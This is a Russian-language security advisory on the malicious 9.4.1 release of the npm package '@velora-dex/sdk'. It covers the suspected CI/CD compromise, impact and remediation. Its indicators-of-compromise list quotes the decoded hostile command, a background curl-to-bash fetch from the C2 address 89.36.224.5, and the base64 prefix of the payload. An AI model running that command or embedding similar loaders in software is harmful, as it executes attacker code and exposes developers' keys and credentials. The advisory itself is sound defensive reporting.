В экосистеме Web3 и децентрализованных финансов (DeFi) зафиксирована целевая атака на цепочку поставок программного обеспечения. Злоумышленникам удалось внедрить вредоносный код в официальную версию популярного пакета для Node Package Manager (npm) - SDK для взаимодействия с децентрализованной биржей Velora. Инцидент демонстрирует растущую изощрённость киберпреступников, которые атакуют критические компоненты инфраструктуры для получения доступа к системам разработчиков и, потенциально, средствам пользователей.
Описание
Пакет "@velora-dex/sdk" представляет собой набор инструментов для разработчиков, создающих приложения для торговли криптовалютой на бирже Velora. Его интеграция в проекты означает, что компрометация такого компонента может иметь катастрофические последствия для всех, кто его использует. Вредоносный код был обнаружен исключительно в версии 9.4.1, что указывает на хирургически точный характер атаки. Все предыдущие версии, а также последующие, включая исправленную 9.4.2, оказались чистыми. Более того, не были затронуты даже промежуточные development-сборки (9.4.1-dev.1 и 9.4.1-dev.2), что является ключевым признаком.
Подобная картина - чистый исходный код, но скомпрометированная официальная сборка - с высокой долей вероятности указывает на атаку не на репозиторий с кодом, а на сам процесс сборки и публикации пакета (CI/CD pipeline). Злоумышленники, по-видимому, получили доступ к учётным данным системы непрерывной интеграции, токенам публикации в npm или внедрили вредоносное действие в скрипты сборки. Это позволило им инфицировать лишь одну конкретную версию, минимизируя шансы на быстрое обнаружение аномалий. Как сообщается в техническом отчёте, вредоносный фрагмент был размещён в скомпилированном файле "dist/index.js", который автоматически выполняется при импорте пакета в проект.
Технический анализ показал, что код использует простую, но эффективную обфускацию. Встроенная в JavaScript команда содержит полезную нагрузку, закодированную в base64. При выполнении она декодируется и запускает скрипт оболочки Bash, который, в свою очередь, с помощью утилиты "curl" загружает и исполняет произвольный код с удалённого сервера злоумышленников. Адрес сервера командования и управления (C2, Command and Control) - 89.36.224.5 - указан в виде "сырого" IP, что помогает избежать обнаружения системами безопасности, отслеживающими подозрительные доменные имена. Для маскировки конечная точка имитирует путь к скрипту устранения неполадок для macOS ("/troubleshoot/mac/install.sh").
Возможные последствия такой успешной атаки крайне серьёзны. Поскольку вредоносный код выполняется с правами процесса Node.js, злоумышленники получают возможность произвольного выполнения команд на целевой системе. В контексте DeFi-проектов это открывает путь к краже приватных ключей от криптовалютных кошельков, перехвату критически важных переменных окружения (например, API-ключей к биржам или блокчейн-нодам), установке бэкдоров для последующего перемещения по инфраструктуре и прямой компрометации средств пользователей. Особую опасность инцидент представляет для сред непрерывной интеграции и развёртывания, где пакет мог использоваться для сборки проектов, что потенциально ведёт к заражению всех созданных артефактов.
Реакция сообщества и сопровождающих пакет была оперативной. Вредоносная версия 9.4.1 была оперативно заменена на безопасную 9.4.2, в которой опасный код удалён. Однако пользователям, которые установили именно скомпрометированную версию, необходимо предпринять срочные меры. В первую очередь требуется удалить пакет, проверить системы на наличие сетевых подключений к указанному IP-адресу, проанализировать запущенные процессы и полностью обновить все учётные данные и ключи доступа, которые могли быть скомпрометированы. Для проектов, использующих зависимости через lock-файлы, критически важно проверить и обновить "package-lock.json" или "yarn.lock".
Данный инцидент в очередной раз подчёркивает фундаментальные риски, присущие современным цепочкам поставок ПО, особенно в высокорисковых областях, подобных криптоиндустрии. Он демонстрирует, что даже при защищённом исходном коде уязвимым звеном может оказаться процесс сборки. Для организаций это сигнал к усилению безопасности CI/CD-контуров: внедрению строгой двухфакторной аутентификации, мониторингу действий по публикации, использованию подписывания кода и созданию воспроизводимых сборок. Для разработчиков - напоминание о необходимости жёсткой фиксации версий зависимостей, регулярного аудита и применения инструментов для анализа состава ПО (SBOM). В конечном счёте, атака на "@velora-dex/sdk" служит наглядным примером того, как целевое вмешательство в один небольшой компонент способно поставить под угрозу безопасность всей экосистемы.
Индикаторы компрометации
Package
- name: "@velora-dex/sdk"
- malicious_version: "9.4.1"
- safe_versions: ["9.4.2", "9.4.0", "<=9.3.6"]
Network
- c2_ip: "89.36.224.5"
- c2_url: "http://89.36.224.5/troubleshoot/mac/install.sh"
- protocol: "HTTP"
- port: 80
FileArtifacts
- malicious_file: "node_modules/@velora-dex/sdk/dist/index.js"
- payload_signature: "bm9odXAgYmFzaCAtYyAiJChjdXJs"
- decoded_command: "nohup bash -c \"$(curl -fsSL http://89.36.224.5/troubleshoot/mac/install.sh)\" > /dev/null 2>&1"
Поведение
- Автоматическое выполнение при require / import
- Исходящее HTTP-соединение с 89.36.224.5
- Загрузка и выполнение shell-скрипта
- Работа в фоновом режиме (nohup)
- Бесшумная работа (вывод направляется в /dev/null)